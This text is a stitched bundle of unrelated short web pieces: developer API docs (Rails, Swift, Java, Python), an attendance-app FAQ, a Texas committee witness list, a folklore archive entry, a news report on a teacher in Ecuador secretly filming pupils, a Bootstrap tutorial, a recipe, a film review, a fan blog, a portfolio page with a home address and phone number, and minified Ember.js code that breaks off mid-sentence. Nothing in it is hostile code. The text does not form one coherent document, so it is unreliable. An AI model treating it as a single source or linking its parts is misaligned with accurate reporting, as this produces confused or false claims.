# This allows you to specify which one you want, as a single page may impact performance.
config.single_page = true
end
class UsersController < Api::V1::Controllers::ApiController
def show
render json: current_user.slice(:id, :email, :role)
end
end
require "rails_helper"
require "rspec_api_documentation/dsl"
resource "[V1][Users] Users" do
get "/client/api/v1/user" do
header "Content-Type", "application/json"
header "Authorization", "Bearer #{access_token.token}"
context "when token is valid" do
let(:user) { create(:user, :with_expert) }
let(:access_token) { create(:access_token, resource_owner_id: user.id) }
example_request "Get user's profile" do
expect(status).to eq(200)
end
end
end
end
rake docs:generate
rake docs:generate
rspec --pattern spec/acceptance/\*\*/\*_spec.rb --format RspecApiDocumentation::ApiFormatter
describe "Define group metadata using a hash", foo: 2 do
it "has access to the metadata in the example" do |example|
expect(example.metadata[:foo]).to eq(2)
end
end
More examples (including PUT with parameters)...
Thanks


Darasa FAQ
You should be online.
Location should be on.
Well you will have to create an account first. If you have an account proceed by clicking on the menu at top left of your screen then click manage your password under password to set up your password.
Scroll up and click add a class under manage your classes.
Click the button continue and follow the dialogue of 3 simple steps. After all steps ensure your have keyed in the unit name, unitcode, you have selected the time of the lecture, the class venue, department and the course. In the last bit ensure you have named the semester, year of study, school and the academic year. Having filled all the details you can click the finish button. In case of success in the class creation you will receive a message to acknowledge that. You can also add classes express after registering an account.
When the class happens Click generate and tap START SCAN to initiate scanning for students in the classroom
In case of a student who is offline Tap the PLUS SIGN to add them manually and also reveal more options including Create QR code, Save class and Stop Scanning.
To terminate the class tap the PLUS SIGN and click Stop Scanning
Under starts you can generate Class list, Attendance list and Student stats.
Tap the notfication icon on the top left of the main page.Ensure to Select the course and the stduy year.


Functions
The following functions are available globally.
-
Constraints are said to be equal if both first and second items are
NSObject
s that are equal, and that the attributes, mulipliers, constants and priorities are equalDeclaration
Swift
public func ==(c1:NSLayoutConstraint, c2:NSLayoutConstraint) -> Bool
-
Declaration
Swift
public func !=(c1:NSLayoutConstraint, c2:NSLayoutConstraint) -> Bool
Return Value
the negative of
==
forNSLayoutConstraint
s. -
Uses
==
on the constraints in the two arrays. This allowsisEqual(_:)
to remain unchanged forNSLayoutConstraint
but allows two constraint arrays to be compared.Declaration
Swift
public func ==(c1:[NSLayoutConstraint], c2:[NSLayoutConstraint]) -> Bool
-
Uses
==
on the constraints in the two arrays. This allowsisEqual(_:)
to remain the unchanged forNSLayoutConstraint
but allows two arrays to be compared.Declaration
Swift
public func !=(c1:[NSLayoutConstraint], c2:[NSLayoutConstraint]) -> Bool
-
Convenience function for comparing two
NSDate
objects.Note
compareDate(_:toDate:toUnitGranularity:)
should be used for more complex comparing.Declaration
Swift
public func >(d1:NSDate, d2:NSDate) -> Bool
Return Value
true
ifd1.compare(d2)
returns.OrderedDescending
. -
Convenience function for comparing two
NSDate
objects.Note
compareDate(_:toDate:toUnitGranularity:)
should be used for more complex comparing.Declaration
Swift
public func <(d1:NSDate, d2:NSDate) -> Bool
Return Value
true
ifd1.compare(d2)
returns.OrderedAscending
. -
Declaration
Swift
public func >=(d1:NSDate, d2:NSDate) -> Bool
Return Value
true
ifd1.compare(d2)
is not.OrderedAscending
. -
Declaration
Swift
public func <=(d1:NSDate, d2:NSDate) -> Bool
Return Value
true
ifd1.compare(d2)
is not.OrderedDescending
. -
Convenience function for comparing two
NSDate
objects.isEqual(_:)
onNSDate
is overriden to use this method.Note
compareDate(_:toDate:toUnitGranularity:)
should be used for more complex comparing.Declaration
Swift
public func ==(d1:NSDate, d2:NSDate) -> Bool
Return Value
true
ifd1.compare(d2)
is.OrderedSame
.
-
Convenience creator for even
UIEdgeInsets
.Declaration
Swift
public func UIEdgeInsetsMakeEqual(inset:CGFloat) -> UIEdgeInsets
Parameters
inset
The amount for each side of the inset.
Return Value
A
UIEdgeInsets
withtop
,left
,bottom
andright
all set toinset
.
-
Convenience function to create a new dictionary with the results of
See moreassignNewValuesFrom(_:)
for two dictionaries of the same type.Declaration
Swift
public func +<Key,Value>(d1:Dictionary<Key,Value>, d2:Dictionary<Key,Value>) -> Dictionary<Key,Value>
Parameters
d1
A dictionary which forms the basis for assignment.
d2
A dictionary which provides the new values for assignment.
Return Value
A new dictionary based with the entries from
d2
being set ond1
.


WITNESS LIST Transportation Committee May 31, 2002-9:00A Interim Charge #5 For: Parks, Billy (Self) Walker, Helen (Alliance for I-69 Texas) On: Behrens, Michael (Texas Department of Transportation) Bochner, Brian (Texas Transportation Institute) Brown, Tim (Bell County Commissioner) Chaumette, Jacqueline Baly (Greater Houston Partnership) Dodge, William (Port of Corpus Christi Authority) Hennings, Bill (Self) Randall, Jim (Texas Department of Transportation) Thompson, John P. (Gulf Coast Strategic Highway System and State County Judge & Commissioner's Association) Williamson, Ric (Texas Transportation Commission) Wilson, Michael (Texas Ports Association) Rural Public Access For: West, Gaston (Texas Silver Haired Legislature)


Notebooks
Story: Horns burnt for rain
Horns burnt for rain
Title
Horns burnt for rain
Collection
Summary
Horns to be burnt, when the weather looks very threatening. (L VIII.-23. 8030 and 8031). The people burn the outer layer of the springbok's horn to make the rain-clouds disperse when they see that they threaten to bring angry rain ('make war').
Comments
1) p.8029v: (4 December 1878) |han≠kass'o heard this story from his maternal grandfather (Tsatsi); the removal of skin from horns, 2) p.8030v: the scent of the burning horn rises in the smoke and disperses the rain-clouds, 3) This story is found in Book VIII-23
Contributors
|han≠kass'o (Klein Jantje) (VIII)
Date
4 December 1878 (started)
Categories
The Rain and Rain's water, Custom and daily life, Artefact and dress
Keywords
horns (their scent 'does not smell nicely') , horns (the smoke of disperses rain-clouds) , horns (are burnt for rain) , horns (their outer layer or outer covering is burnt) , horns (are burnt to divide rain-clouds) , rain (when angry it 'makes war') , rain (its clouds become green) , rain (its darkness resembles night) , rain (horns are burnt to divide or divide its clouds) , springbok (their horns are burnt to disperse the rain–clouds) , clouds (rain-clouds) , clouds (horns burnt to disperse or divide) , rain-clouds ('wax green') , rain-clouds (horns are burnt to divide and disperse) , smoke (from burnt horn divides rain-clouds)
Story Pages
8030-8031


Teacher caught taking upskirt footage of schoolgirls during class
The teacher at the school in Ecuador was filmed asking females to come to his desk to show him their homework while placing a mobile phone between their legs
by Lila RandallA teacher was outed as a sex pest after a student filmed him taking upskirt footage of female pupils during class time.
Footage shows the moment the vile teacher places a mobile phone at the hem of a skirt and points it up between a teen's legs at a school in Ecuador.
Ecuador’s Ministry of Education has confirmed a teacher, who has not been named, has been suspended from a school in the city of Quevedo for sexual harassment.
The teacher was suspended after videos, assumed to have been filmed by the students, went viral online, local media La Republica reported.
In it, the teacher is seen preparing his mobile phone and dropping his arm down by the side of his chair as the student approaches.
He then edges the mobile closer to the girl’s legs and directs it upwards, as she turns the pages of the workbook for him to see.
The video has racked up more than ten thousand views on YouTube, outraging social media users.
Commenting on the video, one person criticised the Department of Education’s hiring process of teachers, calling for tougher measures to ensure candidates are vetted more thoroughly.
Another person, “disgusted” by the video, slammed the teacher’s actions, raising concerns over his mental health and the impact on pupils.
The Ministry of Education has launched an investigation into the incident and will provide counselling to affected students, it announced in a statement on November 14.
Prosecutors are reportedly analysing the case though no criminal complaints have been made against the teacher, according to CEN.
This is the latest offence in a string of teacher-pupil related sexual incidents in the country.
Between 2018 and 2019, the Ministry of Education of Los Rios suspended nine teachers for being involved in cases of abuse and sexual violence.


Event Time: 11/11/11 11:11PM
Wednesday – Sunday, 10 a.m. – 4 p.m.
Group tours any day by appointment.


Orpaz's Favorites Books
Click here to get a random picture of a wonderful fantasy book:
book
Vote
Submit


DSN Relay is an application that allows people in outer space to use Twitter.
At this time, it is only available to select beta testers, who are in space.


The ERICA Tool is a software system that has a structure based upon the tiered ERICA Integrated Approach to assessing the radiological risk to terrestrial, freshwater and marine biota. The Tool guides the user through the assessment process, recording information and decisions and allowing the necessary calculations to be performed to estimate risks to selected animals and plants.
HYDRA uses data files of ERICA Tool <IP_ADDRESS>.
More on ERICA Assessment Tool website.
HYDRA is an alternative interface for ERICA tool's Tier 2 assessment with some limitations (see Readme on GitHub).
To calculate dose rates:
- Add organisms and isotopes to setup.
- Enter parameters:
- Specific activities of isotopes - Activity block. For each isotope activity concentration in water or in sediment must be set. HYDRA will calculate other values using ERICA's coefficients.
- Organisms occupancy factors - OCC block.
- Concentration ratios - CR block.
- Distribution coefficients - Kd block.
- Radiation weighting factors - WF block.
- Percentage dry weight for sediment - Dry weight block.
For missing data HYDRA will use ERICA's database values.
- Push Calculate button.
- Get results at the bottom of the page. Total dose rate for each organism and each isotope will be shown.


Blacksmith of the Wind Rooney:
I'm truly thankful for your help. Once you have collected 10 each of the "Lavasaurus head fragments, body fragments, horn fragments and powerstone fragments," bring them to me.


Using CDN bootstrap is included here without the need of bower. I made this example to bring some examples on using Bootstrap on one page. It's not a reference documentation. Finally please check http://getbootstrap.com/css/. You should be able to download and view this file in your browser.
The page header is a div with class page-header and the title is a h2. You should see Bootstrap as a green label; it's just a span with two attributes: label and label-success. You can use pre-defined colors for labels using label-default, label-info, label-success, label-warning and label-danger. Same naming conventions you will find for other Bootstrap styling.
I'm on the left side I'm in the middle. I'm on the right side
The alignments are done with text-center on the paragraph class, pull-left for left text span class and pull-right for the right text span class. Have a read here: http://getbootstrap.com/css/#type-alignment.
When something is too easy then - very probably - there is somewhere at least one problem you don't see.
For block quotes you are using blockquote, footer and cite.
Have a read here: http://getbootstrap.com/css/#type-blockquotes. You have to use
normal styling to change the blockquote; here I overwrite the default color with a green border
using style="border-left: 5px solid green"
.
Alerts are div boxes which prefined colors as you already know from the labels. Here the class names are alert and alert-warning. In addition you are able to define a dismissible alert.
panel-heading
and
panel-body
. The outter div is again handle same way
as labels using classes panel
and pabel-success
.
Panels are working smoothely with lists and tables.
I have to say that it did cost me some nerves. The setup isn't that complicated
but for dropdown you require jQuery and I included the dependencies in wrong
order and wondered why the "simple" example doesn't work. However now it does work.
Look at this HTML to see how it is organized. You should have a brand and
then you are working with ul, li and links. The dropdown symbol
is done with
.
You can adjust the navigation either to scroll it with the page or to remain
visible. I adjusted it with navbar-fixed-top
to remain visible
at top of the page; for this case you additional have to apply padding yourself.
The navigation bar is hidden when you print this HTML. Please have a read here:
http://getbootstrap.com/components/#nav.
Tables are more or less same as you know. You just can apply a few classes to make a table look comfortable:
| Style | Meaning |
|---|---|
| table | You see the table with the width of the page and a horizontal rule between each row. |
| table-condensed | Consume less space in each table cell. |
| table-striped | Provides alternating row colors |
| table-bordered | Provides full bordering for each cell |
Using grids you have to use classes to indicate what cell with you need. You can use
col-xs-*
, col-sm-*
, col-md-*
and col-lg-*
which are designed for different device sizes. Please read the details here:
getbootstrap.com/css/#grid.
Unfortunately a sidebar is not provided also it's a basic component in many pages. However I provided a simple one using parts of the navbar. Also this one is hidden when you try to print the page.


Preparation time
30 mins to 1 hour
Cooking time
1 to 2 hours
Serves
Serves 4
Beef Wellington makes an impressive centrepiece for a special dinner. This version keeps the pastry nice and crisp with a layer of crêpes.
For the mushroom duxelle, heat the butter and vegetable oil in a frying pan. Once hot, add the chopped shallots and fry, stirring all the time, for two minutes. Tip in the chopped mushrooms. Reduce the heat a little and continue stirring and cooking for about ten minutes until the mushrooms are softened and their liquid has evaporated. Stir in the cream and cook for a further two minutes, then remove from the heat and leave to cool.
For the Wellington, heat the oil in a frying pan over a high heat. Season the fillet all over with salt and pepper. Once the oil is smoking, add the beef and fry on all sides until it is a lovely caramel-brown colour. Remove to a plate and leave to cool. (NB. Don’t wash up the pan. Use this to make the Madeira and port reduction later.)
Place the crêpes onto the work surface, one layer thick, but overlapping - you need to create an area about twice the thickness of the fillet, and about 2.5cm/1in longer at each end. Spread the mushroom duxelle over the crêpes.
Lightly pat the fillet with kitchen paper to remove any excess moisture, before placing the meat on top of the duxelle.
Carefully roll the side closest to you over the meat encasing it within the crêpes and mushrooms. The crêpes should cover the meat on all sides, but trim off any excess.
Place the wrapped fillet onto a sheet of clingfilm and wrap up tightly into a cylinder. Set aside in the fridge until completely cold, about half an hour.
Meanwhile for the potato dauphinoise, preheat the oven to 150C/300F/Gas 2.
Rub the inside of a deep baking dish or casserole with the raw garlic.
Place the sliced potatoes in a bowl and pour over the cream and season with salt and freshly ground black pepper. Stir to coat the potatoes, then lay them evenly in the garlicky baking dish.
Cover the dish with foil and bake in the oven for 30 minutes. Remove the foil and cook for a further 20-30 minutes while you prepare the Wellington.
Roll the pastry out on a well-floured surface to a rectangle with a thickness of about 3mm.
Brush the pastry with beaten egg yolk. Remove the clingfilm from the beef fillet and place onto the middle of the pastry.
Wrap the pastry up over the beef fillet. Lightly stretch one edge of the seam so that it is not too thick, then press down firmly to seal.
You should be left with a tube that is open at either end. Lightly press the ends of the pastry together using a rolling pin to seal and thin the two pieces. Then with a small knife, trim the edges on each side to form a triangle shape. Brush the triangle of pastry with a little egg and press it up against the side of the Wellington. Repeat with the other side before flipping over so that the Wellington is seam-side down.
Place your Wellington onto a baking tray, brush with the remaining egg yolk set aside in the fridge to chill for 5-10 minutes.
Increase the oven temperature to 180C/350F/Gas 4 (the dauphinoise should remain in the oven).
Remove the Wellington from the fridge and score a pattern of your choice onto the top.
Place in the oven with the potatoes dauphinoise and bake for 25 minutes. Remove the Wellington from the oven and leave to rest for 10 minutes. This should give you a perfectly pink finish to your meat. If you prefer it more cooked, then leave in the oven for longer, but you must ensure the meat is well rested.
For the Madeira and port reduction, heat the butter in the same pan in which you cooked the beef fillet over a medium heat. Once bubbling, add the shallot and fry for 3-4 minutes, or until softened.
Increase the heat and add the port and Madeira. Simmer until the volume of liquid has reduced by half and then add the stock. Reduce again by half. When the sauce has a thick, syrupy consistency, strain through a fine sieve. Stir in the truffle peelings and keep warm until ready to serve.
Serve slices of the beef Wellington with the potato dauphinoise alongside and the Madeira and port reduction.


Book of Shadows: Blair Witch 2 * * * (out of * * * * )
Directed by Joe Berlinger.  Reviewed by Dustin Putman, October 29, 2000.
1999's "The Blair Witch Project" was a landmark, groundbreaking motion picture--a $250,000 cinema verite-style pseudo-documentary that ended up becoming the must-see film of the summer and making over $140-million. Its financial and mostly critical success, however, did not win over some viewers, who passionately hated everything about its shaky-cam, "you-are-there" style of filmmaking. For every person who felt it was one of the most frightening movies they had ever seen, there was another who disliked it for the exact opposite reason, stating that it wasn't scary in the least. A horror film that became the biggest-grossing independent movie of all time, still, can only mean one thing, and that's a sequel.
With the directing reigns being handed over from Eduardo Sanchez and Daniel Myrick to, coincidentally, documentarian Joe Berlinger (making his fictional feature film debut), "Book of Shadows: Blair Witch 2" is the type of hugely hyped sequel that is just asking for trouble. By taking a more mainstream approach to the Blair Witch legend, in the auspicious screenplay by Dick Bebee and Joe Berlinger, the movie is bound to disappoint fans who were expecting more of the same, while keeping those detractors of the original in the dark with another story that raises more questions than answers. Nevertheless, "Book of Shadows: Blair Witch 2" is clever, entertaining, and thought-provoking, a purely original thriller that is able to stand on its own two feet.
A fictional account of what happened to five grad students following the release of the original "Blair Witch Project" in the summer of 1999, "BW2" follows a group of twentysomethings who agree to take part in the self-proclaimed Blair Witch Hunt, an Internet-based organization begun by Jeffrey (Jeffrey Donovan), in which he and four curiosity-seekers, including a couple (Stephen Baker Turner, Tristen Skyler) writing a book on the Blair Witch hysteria, a Wiccan (Erica Leehrsen), and a psychic goth girl (Kim Director), travel to the Black Hills of Burkittsville, MD to retrace the footsteps of Heather, Mike, and Josh. Following a night spent partying and drinking among the ruins of Rustin Parr's house (the place where the original climaxed), they awaken to discover that they have no recollection of the past five hours, with the only possible answers lying within the video camera that Jeffrey had been using, a 'la Heather Donahue.
Setting up shop at Jeffrey's apartment (in the form of an old, dilapidated factory located in the middle of the woods), the five of them plan to sift through the tapes, hoping to put the aforementioned fragmented night together, which left them all with mysterious marks on their body. As Tristen grows more and more unhinged following a miscarriage, Erica starts to fear for her life, and they all begin to have spooky hallucinations from beyond the grave, the questionable Blair Witch myth gradually proves itself to be all too real.
A one-of-a-kind masterpiece that ultimately saw itself overcome with hype, the novelty of "The Blair Witch Project" could never be duplicated, and luckily, director Berlinger (1996's brilliant "Paradise Lost: The Child Murders at Robin Hood Hills") realized this before filming a carbon copy. Equipped with a script, subtle special effects, a steadicam, and a more visceral approach, "Book of Shadows: Blair Witch 2" succeeds in the fresh way in which it tells its story, which is not a direct sequel to its predecessor as much as a fictional, occasionally satirical study on the effects the first film had on audiences and the media.
Unlike the unflinchingly real, improvised performances of Heather Donahue, Joshua Leonard, and Michael Williams, the cast populating "Book of Shadows" have an actual screenplay to work with and, thus, are not nearly as impressive. Granted, many of their acting abilities are questionable, and the characters played by Erica Leehrsen and Tristen Skylar are overly annoying, but they do respectable jobs for primarily newcomers. Easily the standout in what could be a star-making appearance, Kim Director (whose only previous credits include bit parts in many recent Spike Lee films, including 1999's "Summer of Sam" and 2000's "Bamboozled") is an alluring, charismatic presence in the role of a good-natured fan of "The Blair Witch Project" who finds herself under suspicions simply because of her goth chick persona.
While never truly scary, the picture does contain several disturbing moments, not the least being the way the film toys with the fine line between perception and reality, and the hallucinatory sights of dead children, previous victims of dead serial killer Rustin Parr. With an ominous music score by Carter Burwell and atmospheric cinematography by Nancy Schreiber, "Book of Shadows: Blair Witch 2" is inferior to the incomparable series opener (as expected), but is much better than could possibly be expected. By concluding on a cliffhanging note that leaves much of what happened in the previous 85 minutes up to you to decide, the film is nothing short of intriguing, and as a horror-mystery opening on Halloween weekend, is the perfect way to spend the spooky holiday.
- Copyright 2000 by Dustin Putman Http://www.young-hollywood.com Http://www.atnzone.com
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


|
JavaTM 2 Platform Standard Ed. 5.0 |
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
public interface Soundbank
A Soundbank
contains a set of Instruments
that can be loaded into a Synthesizer
.
Note that a Java Sound Soundbank
is different from a MIDI bank.
MIDI permits up to 16383 banks, each containing up to 128 instruments
(also sometimes called programs, patches, or timbres).
However, a Soundbank
can contain 16383 times 128 instruments,
because the instruments within a Soundbank
are indexed by both
a MIDI program number and a MIDI bank number (via a Patch
object). Thus, a Soundbank
can be thought of as a collection
of MIDI banks.
Soundbank
includes methods that return String
objects containing the sound bank's name, manufacturer, version number, and
description. The precise content and format of these strings is left
to the implementor.
Different synthesizers use a variety of synthesis techniques. A common
one is wavetable synthesis, in which a segment of recorded sound is
played back, often with looping and pitch change. The Downloadable Sound
(DLS) format uses segments of recorded sound, as does the Headspace Engine.
Soundbanks
and Instruments
that are based on
wavetable synthesis (or other uses of stored sound recordings) should
typically implement the getResources()
method to provide access to these recorded segments. This is optional,
however; the method can return an zero-length array if the synthesis technique
doesn't use sampled sound (FM synthesis and physical modeling are examples
of such techniques), or if it does but the implementor chooses not to make the
samples accessible.
Synthesizer.getDefaultSoundbank()
,
Synthesizer.isSoundbankSupported(javax.sound.midi.Soundbank)
,
Synthesizer.loadInstruments(Soundbank, Patch[])
,
Patch
,
Instrument
,
SoundbankResource
| Method Summary | |
|---|---|
String |
getDescription()
Obtains a textual description of the sound bank, suitable for display. |
Instrument |
getInstrument(Patch patch)
Obtains an Instrument from the given Patch . |
Instrument[] |
getInstruments()
Obtains a list of instruments contained in this sound bank. |
String |
getName()
Obtains the name of the sound bank. |
SoundbankResource[] |
getResources()
Extracts a list of non-Instrument resources contained in the sound bank. |
String |
getVendor()
Obtains a string naming the company that provides the
sound bank |
String |
getVersion()
Obtains the version string for the sound bank. |
| Method Detail |
|---|
String getName()
String
naming the sound bankString getVersion()
String
that indicates the sound bank's versionString getVendor()
string
naming the company that provides the
sound bank
String getDescription()
String
that describes the sound bankSoundbankResource[] getResources()
Instrument[] getInstruments()
Instruments
in this
SoundBank
If the sound bank contains no instruments, returns an array of length 0.Synthesizer.getLoadedInstruments()
,
getInstrument(Patch)
Instrument getInstrument(Patch patch)
Instrument
from the given Patch
.
patch
- a Patch
object specifying the bank index
and program change number
null
if the
sound bank doesn't contain that instrumentgetInstruments()
,
Synthesizer.loadInstruments(Soundbank, Patch[])
|
JavaTM 2 Platform Standard Ed. 5.0 |
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
Copyright © 2004, 2010 Oracle and/or its affiliates. All rights reserved. Use is subject to license terms. Also see the documentation redistribution policy.


---
layout: post
title: CSI Fan, Not Fanatic
categories: []
tags: []
status: publish
type: post
published: true
meta:
_original_post_id: ''
_original_import_author: John Duprey
author:
---
Abby and I are CSI fans. We enjoy CSI (Vegas), CSI Miami, CSI NY, and NCIS. I found a great site for news on CSI (Vegas, Miami, and NY) here:
http://members.aol.com/JRD203/csi.htm. For those who really like the shows and want to know more about them (plots, character news, etc) this is a great site.
If you search livejournal, you will find a number of CSI communities, but I've found them to be a bit creepy. I was hoping that there'd be episode discussions, news, etc. Instead they seem to be largely populated with CSI fan
atics or wannabe playwrights. I read one short involving a "homo-erotic encounter" between NCIS's DiNozzo and McGee. I will never watch NCIS the same way again. Ick.
Traci Lords - 1000 Fires - Control


Home
Welcome!
This is the start of my new portfolio web page.
Please look click the navigation to tour my web page and to know more about me.
Saul Lopez
7001 E Williams Field Rd
Mesa, AZ 85212
480-628-0459
7001 E Williams Field Rd
Mesa, AZ 85212
480-628-0459


Test 'Sample' WebAPI support
'Sample' WebAPI methods test
getPlatformValue():
__
received value =
__
add/remove EventListener('samplenotify', eventCallback):
__
received notification value =
__
processData():
Data to send:
callFunc():
Data to send :
arg1:
arg2:


What modification will change this program so that it counts the number of bytes in a file?
(1) Initialize a long
variable to zero.
(2) Increment it in the loop body.
(3) Print it out after the loop is exited.
You have reached the end this chapter. You may wish to review the following. Click on a subject that interests you to go to where it was discussed.
The next chapter will discuss the File
class
and input and output of structured data.


PAWA Salon
PAWA Salon is a monthly forum that gives creative professionals a platform to share industry insight with other professionals, students and industry enthusiasts..
PAWA Salon is a monthly forum that gives creative professionals a platform to share industry insight with other professionals, students and industry enthusiasts..
PAWA Salon is a monthly forum that gives creative professionals a platform to share industry insight with other professionals, students and industry enthusiasts..
PAWA Festival
PAWA Festival is an emerging annual street festival that takes place at the heart of the Nairobi CBD. The festival serves as a platform to showcase East Africa’s creative genius through all forms of visual and performing art. By bringing art to the streets, PAWA Festival attempts to celebrate and support East African artistic expression while bringing out the creativity in you..
PAWA Festival is an emerging annual street festival that takes place at the heart of the Nairobi CBD. The festival serves as a platform to showcase East Africa’s creative genius through all forms of visual and performing art. By bringing art to the streets, PAWA Festival attempts to celebrate and support East African artistic expression while bringing out the creativity in you..
Kenya Photography Awards
The Kenya Photography Awards is an annual photography competition to appreciate and recognize the excellence of photography in Kenya. Entries are awarded in nine different categories.
The Kenya Photography Awards is an annual photography competition to appreciate and recognize the excellence of photography in Kenya. Entries are awarded in nine different categories.
PAWA Masterclasses
PAWA Masterclasses are monthly seminars geared towards emerging artists with an interest in further developing their skills. These are taught by industry professionals from various artistic disciplines. For more information on our past and upcoming Masterclasses.
PAWA Masterclasses are monthly seminars geared towards emerging artists with an interest in further developing their skills. These are taught by industry professionals from various artistic disciplines. For more information on our past and upcoming Masterclasses.
Off-The-Record
Off-The-Record is a unique space where participants can express their thoughts on issues affecting society, strictly off the record. Off The Record takes place every Tuesday from 6:00pm-8:00pm at the PAWA254 Hub.
Off-The-Record is a unique space where participants can express their thoughts on issues affecting society, strictly off the record. Off The Record takes place every Tuesday from 6:00pm-8:00pm at the PAWA254 Hub.
#ARealManis
#ARealManis is a 3 year programme aimed at empowering young people to become active participants in the campaign to prevent violence against women. The project, which is a partnership between the African Alliance of YMCAs (AAYMCA) and PAWA Initiative, is being implemented in Kilifi and Mombasa counties in Kenya and Zambia.
EmPAWAing the Girl through Education: Screening & Discussion of the Documentary ‘He Named Me Malala


Professional
Senior Engineer, Engineering Manager at Wayfair
- Engineering Manager for User Generated Content & Curation team at Wayfair (4 Android, 4 iOS)
- Work with Design, Product and QA to develop new features and improve the performance and testability of Wayfair family of apps.
- Manage and provide guidance to developers on career progression, architecture best practices, design patterns
- Leader of Android league, a community driven initiative for all Android devs at Wayfair
- Collaborate with other Android leaders to create community driven initiatives to improve developer participation and improve learning across the Android platform.
***
Digital Business Integration Consultant at Accenture
- Tech Lead for a Major Audio Company's Headphone pairing/control app
- Worked with Clients, QA, Designers and Project Managers to create fantastic user experiences.
- Focusing on learning clean code policies, writing unit tests, mentoring interns and using technologies like RxJava, Retrofit, Dependency Injection, Kotlin.
- Worked on variety of segments like fantasy sports, audio connectivity for a major audio company.
***
Android Developer at Intrepid (Acquired by Accenture)
- Tech Lead for apprentice project (three developers) for a music discovery app
- Worked on a variety of apps for public radio for a major city, Internet of Things, Healthcare.
- Learned best coding practices and architecture patterns for Android.
***
Talks and Lectures
- Android Code Style at Accenture
- Android Architecture Components in Kotlin at Kotlin Office Hours Boston
- Introduction to RxJava at Wayfair
- Unit Testing on Android at Wayfair
- Doing Things With Style: Having a consistent style for maintainable and scalable codebase at Wayfair
- Kotlin Interop with Java at Wayfair
***


Seattle Shopes
Location : Alaskan Way Ste 103, Seattle, WA 98104
open hours : 6:00 AM to 8:00 PM
phone number: +1<PHONE_NUMBER>
Experience the food and culture at one of Seattle’s most famous landmarks Pike Place Market on this 2-hour chef-guided food tour.


cbm_pop_lib.cbm_pop_agent module
Basic CBM_pop agent implementation.
For a specific use, please implement the abstract methods.
-
class
CBMPopAgent
(algorithm_class)[source]
Bases: object
-
demand_cb
(msg)[source]
-
duration_cb
(msg)[source]
-
finish_mission
()[source]
-
finished_cb
(msg)[source]
-
init_mission_structures
()[source]
-
init_properties
(algorithm_class)[source]
-
init_topics
()[source]
Initialization of CBM agent topics.
-
mission_info_cb
(msg)[source]
-
optimize_cb
(msg)[source]
-
prepare_problem_structure
(problem_id)[source]
-
process_final_solution
()[source]
-
quality_cb
(msg)[source]
-
setup_cost_cb
(msg)[source]
-
setup_duration_cb
(msg)[source]


xforms-binding-exception
xforms-link-exception
4.7.a invalid ID references that terminate with no effect
This case tests invalid ID references of dispatch, send, setfocus, setindex, and toggle elements. You must not see any errors or messages.


Plato on Github
Report Home
compiled\ember-application\lib\system\application-instance.js
Maintainability
75.58
Lines of code
219
Difficulty
18.83
Estimated Errors
0.89
Function weight
By Complexity
By SLOC
/** @module ember @submodule ember-application @private */ 'use strict'; Object.defineProperty(exports, '__esModule', { value: true }); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } var _emberMetalProperty_get = require('ember-metal/property_get'); var _emberMetalProperty_set = require('ember-metal/property_set'); var _emberRuntimeSystemObject = require('ember-runtime/system/object'); var _emberRuntimeSystemObject2 = _interopRequireDefault(_emberRuntimeSystemObject); var _emberMetalRun_loop = require('ember-metal/run_loop'); var _emberMetalRun_loop2 = _interopRequireDefault(_emberMetalRun_loop); var _emberMetalComputed = require('ember-metal/computed'); var _containerRegistry = require('container/registry'); var _containerRegistry2 = _interopRequireDefault(_containerRegistry); /** The `ApplicationInstance` encapsulates all of the stateful aspects of a running `Application`. At a high-level, we break application boot into two distinct phases: * Definition time, where all of the classes, templates, and other dependencies are loaded (typically in the browser). * Run time, where we begin executing the application once everything has loaded. Definition time can be expensive and only needs to happen once since it is an idempotent operation. For example, between test runs and FastBoot requests, the application stays the same. It is only the state that we want to reset. That state is what the `ApplicationInstance` manages: it is responsible for creating the container that contains all application state, and disposing of it once the particular test run or FastBoot request has finished. @public */ exports['default'] = _emberRuntimeSystemObject2['default'].extend({ /** The application instance's container. The container stores all of the instance-specific state for this application run. @property {Ember.Container} container @public */ container: null, /** The application's registry. The registry contains the classes, templates, and other code that makes up the application. @property {Ember.Registry} registry @private */ applicationRegistry: null, /** The registry for this application instance. It should use the `applicationRegistry` as a fallback. @property {Ember.Registry} registry @private */ registry: null, /** The DOM events for which the event dispatcher should listen. By default, the application's `Ember.EventDispatcher` listens for a set of standard DOM events, such as `mousedown` and `keyup`, and delegates them to your application's `Ember.View` instances. @private @property {Object} customEvents */ customEvents: null, /** The root DOM element of the Application as an element or a [jQuery-compatible selector string](http://api.jquery.com/category/selectors/). @private @property {String|DOMElement} rootElement */ rootElement: null, init: function init() { this._super.apply(this, arguments); // Create a per-instance registry that will use the application's registry // as a fallback for resolving registrations. this.registry = new _containerRegistry2['default']({ fallback: this.applicationRegistry, resolver: this.applicationRegistry.resolver }); this.registry.normalizeFullName = this.applicationRegistry.normalizeFullName; this.registry.makeToString = this.applicationRegistry.makeToString; // Create a per-instance container from the instance's registry this.container = this.registry.container(); // Register this instance in the per-instance registry. // // Why do we need to register the instance in the first place? // Because we need a good way for the root route (a.k.a ApplicationRoute) // to notify us when it has created the root-most view. That view is then // appended to the rootElement, in the case of apps, to the fixture harness // in tests, or rendered to a string in the case of FastBoot. this.registry.register('-application-instance:main', this, { instantiate: false }); }, router: (0, _emberMetalComputed.computed)(function () { return this.container.lookup('router:main'); }).readOnly(), /** Instantiates and sets up the router, specifically overriding the default location. This is useful for manually starting the app in FastBoot or testing environments, where trying to modify the URL would be inappropriate. @param options @private */ overrideRouterLocation: function overrideRouterLocation(options) { var location = options && options.location; var router = (0, _emberMetalProperty_get.get)(this, 'router'); if (location) { (0, _emberMetalProperty_set.set)(router, 'location', location); } }, /** This hook is called by the root-most Route (a.k.a. the ApplicationRoute) when it has finished creating the root View. By default, we simply take the view and append it to the `rootElement` specified on the Application. In cases like FastBoot and 